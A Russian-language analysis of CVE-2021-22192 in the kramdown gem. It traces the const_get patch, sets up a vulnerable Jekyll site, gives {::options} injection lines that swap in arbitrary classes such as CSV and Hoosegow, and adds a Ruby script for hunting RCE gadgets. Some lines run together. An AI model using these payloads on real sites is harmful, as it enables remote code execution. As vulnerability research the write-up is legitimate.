
CVE-2021-22192
Приступая к анализу этой ошибки, я получил лишь некоторую ценную информацию от lyy289065406, которая помогла мне понять суть этой ошибки. Кажется, ошибка в gem kramdown (<= 2.3.0), поэтому я начал изучать kramdown в первую очередь.
Мы можем проверить патч kramdown и увидеть разницу в функции formatter_class в модуле Kramdown::Converter::SyntaxHighlighter::Rouge
::Rouge::Formatters.const_get(formatter) было изменено на ::Rouge::Formatters.const_get(formatter, false)
Функция const_get наследуется от класса Object и может получать константы. Она даже может возвращать классы, объявленные ранее, если их можно найти. Разница лишь в добавлении параметра false. Добавление параметра false не позволяет const_get получать константы из родительских классов или модулей.
Что ещё более важно: в функции self.call вызывается formatter_class, а затем new(opts). Это означает, что метод, полученный через const_get, будет вызывать конструктор для инициализации.
def self.call(converter, text, lang, type, call_opts)
opts = options(converter, type)
call_opts[:default_lang] = opts[:default_lang]
return nil unless lang || opts[:default_lang] || opts[:guess_lang]
lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])
opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))
end
Основываясь на Kramdown:Options, мы можем вызвать функцию Kramdown::Converter::SyntaxHighlighter::Rouge.call
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
Кроме того, в модуле Kramdown:Options функция simple_hash_validator вызывает YAML.safe_load(val). Таким образом, мы также можем настроить YML-файл для передачи желаемой полезной нагрузки в Kramdown::Converter::SyntaxHighlighter::Rouge
def self.simple_hash_validator(val, name)
if String === val
begin
val = YAML.safe_load(val)
rescue RuntimeError, ArgumentError, SyntaxError
raise Kramdown::Error, "Invalid YAML value for option #{name}"
end
end
raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
val
end
Сначала нужно настроить Jekyll:
gem install jekyll
jekyll new jekyllTest
Gemfile.lock, установив версию kramdown <= 2.3.0cd jekyllTest
Файл Gemfile.lock
...
kramdown (2.3.0)
...
bundle install
Таким образом, мы завершили создание страницы Jekyll. Теперь мы можем вставить полезную нагрузку, чтобы проверить, действительно ли Kramdown::Converter::SyntaxHighlighter::Rouge.call вызывает какой-либо метод.
мы можем добавить в файл ./_config.yml
kramdown:
syntax_highlighter: rouge
syntax_highlighter_opts:
formatter: CSV
Или использовать документ kramdown, добавив полезную нагрузку в ./_posts/*.markdown
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
Здесь я использую второй способ =)))))
bundle exec jekyll serve
возможно, вы получите ошибку "require': cannot load such file -- webrick (LoadError)", вам нужно добавить gem "webrick" в Gemfile
private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep:. Это доказывает, что класс CSV был вызван.Согласно статье, анализирующей CVE-2020-10518, в которой используется ошибка в kramdown для RCE на Github. Я нацелился на класс Hoosegow:
initialize класса Hoosegow вызывается load_inmate_methodsdef initialize(options = {})
options = options.dup
@no_proxy = options.delete(:no_proxy)
@inmate_dir = options.delete(:inmate_dir) || '/hoosegow/inmate'
@image_name = options.delete(:image_name)
@ruby_version = options.delete(:ruby_version) || RUBY_VERSION
@docker_options = options
load_inmate_methods
load_inmate_methods мы видим, что вызывается require inmate_file def load_inmate_methods
inmate_file = File.join @inmate_dir, 'inmate.rb'
unless File.exist?(inmate_file)
raise Hoosegow::InmateImportError, "inmate file doesn't exist"
end
require inmate_file
unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
raise Hoosegow::InmateImportError,
"inmate file doesn't define Hoosegow::Inmate"
end
if no_proxy?
self.extend Hoosegow::Inmate
else
inmate_methods = Hoosegow::Inmate.instance_methods
inmate_methods.each do |name|
define_singleton_method name do |*args, &block|
proxy_send name, args, &block
end
end
end
end
А inmate_file создается путем объединения строки @inmate_dir с 'inmate.rb'. Если мы сможем вызвать этот класс и изменить параметр inmate_dir на путь к нашему файлу полезной нагрузки, разве это не приведет к RCE?
Я запускаю скрипт в пути страницы Jekyll, чтобы проверить определенные методы:
require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
methods.each do |m|
begin
puts "trying #{m[:ob]}"
m[:ob].new({a:1, b:2})
puts "worked\n\n"
rescue ArgumentError
puts "nope\n\n"
rescue NoMethodError
puts "nope\n\n"
rescue => e
p e
puts "maybe\n\n"
end
ob.name == "Hoosegow"require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow" }
...
Оказывается, в моем class path не был объявлен класс Hoosegow. Я добавил gem "hoosegow" в Gemfile, и скрипт нашел этот класс. [Хе-хе-хе]
Hoosegow через kramdown{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
